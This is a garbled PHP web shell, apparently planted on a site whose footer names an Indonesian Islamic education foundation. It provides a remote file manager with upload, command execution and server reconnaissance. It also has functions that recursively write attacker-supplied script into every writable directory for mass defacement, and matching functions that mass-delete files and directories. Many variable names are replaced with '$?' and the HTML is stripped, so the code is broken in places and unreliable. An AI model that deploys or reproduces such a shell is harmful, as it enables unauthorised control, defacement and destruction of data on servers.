$? Bypass 403
";
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '
:
/';
continue;
}
if($pat == '') continue;
echo '
'.$pat.'/';
}
echo " [ ".?($path, p($path))." ]";
echo "
";
// tools nya
if(isset($_GET['dir'])) {
$dir = $_GET['dir'];
chdir($dir);
} else {
$dir = getcwd();
}
$dir = str_replace("\\","/",$dir);
$scdir = explode("/", $dir);
for($i = 0; $i <= $c_dir; $i++) {
$scdir[$i];
if($i != $c_dir) {
}
elseif($_GET['id'] == 'depes'){
function mass_kabeh($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$? = $dirc.'/'.$namafile;
if($dirb === '.') {
file_put_contents($?, $isi_script);
} elseif($dirb === '..') {
file_put_contents($?, $isi_script);
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[
success] $?
";
file_put_contents($?, $isi_script);
$? = mass_kabeh($dirc,$namafile,$isi_script);
}
}
}
}
}
}
function mass_biasa($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$? = $dirc.'/'.$namafile;
if($dirb === '.') {
file_put_contents($?, $isi_script);
} elseif($dirb === '..') {
file_put_contents($?, $isi_script);
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[
success] $dirb/$namafile
";
file_put_contents($?, $isi_script);
}
}
}
}
}
}
if($_POST['start']) {
if($_POST['tipe'] == 'massal') {
echo "
";
mass_kabeh($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
echo "
";
} elseif($_POST['tipe'] == 'biasa') {
echo "
";
mass_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
echo "
";
}
} else {
echo "
$?
";
}
}
elseif($_GET['id'] == 'info'){
$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
$disfc = "
NONE";
} else {
$disfc = "
$disfunc";
}
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "
ON" : "
OFF";
echo '
'.$?.'
';
}
elseif($_GET['id'] == 'about'){
echo '
'.$?.'
';
}
elseif($_GET['id'] == 'cmd') {
echo "$?
';
if($cmd == "") {
echo "
';
}else {
echo "
";
}
}
elseif($_GET['id'] == 'upload'){
echo '
'.$?.'
';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '
';
}else{
echo '
';
}
}
}
elseif($_GET['id'] == 'delete'){
function hapus_massal($dir,$namafile) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$? = $dirc.'/'.$namafile;
if($dirb === '.') {
if(file_exists("$dir/$namafile")) {
unlink("$dir/$namafile");
}
} elseif($dirb === '..') {
if(file_exists("".dirname($dir)."/$namafile")) {
unlink("".dirname($dir)."/$namafile");
}
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
if(file_exists($?)) {
echo "[
deleted] $?
";
unlink($?);
$? = hapus_massal($dirc,$namafile);
}
}
}
}
}
}
}
if($_POST['start']) {
echo "
";
hapus_massal($_POST['d_dir'], $_POST['d_file']);
echo "
";
} else {
echo "
$?
';
}
}else{
//delete dir
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '
';
}else{
echo '
';
}
}
//delete file
elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '
';
}else{
echo '
';
}
}
}
echo '';
$scandir = scandir($path);
$pa = getcwd();
echo '
| Name |
Last edit |
Size |
Permission |
Options |
';
foreach($scandir as $dir){
$dt = date("Y-m-d", filemtime("$path/$dir"));
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo "
| $dir |
$dt |
DIR |
";
if(is_writable("$path/$dir")) echo '';
elseif(!is_readable("$path/$dir")) echo '';
echo p("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '';
echo " |
|
";
}
foreach($scandir as $file){
$ft = date("Y-m-d", filemtime("$path/$file"));
if(!is_file($path.'/'.$file)) continue;
$s = filesize($path.'/'.$file)/1024;
$s = round($s,3);
if($s >= 1024){
$s = round($s/1024,2).' MB';
}else{
$s = $s.' KB';
}
echo "
| $file |
$ft |
$s |
";
if(is_writable("$path/$file")) echo '';
elseif(!is_readable("$path/$file")) echo '';
echo p("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '';
echo " |
|
";
}
}
echo "
Copyright © ".date("Y")." - $?
";
echo "- About Me -
YAYASAN MUHAJIRIN GENUK INDAH (YAYASAN PENDIDIKAN DAN DAKWAH ISLAM) AKTE NOTARIS : NGADINO, SH NO. 14/2008 JO RUSBANDY YAHYA, SH NO.18/1988 
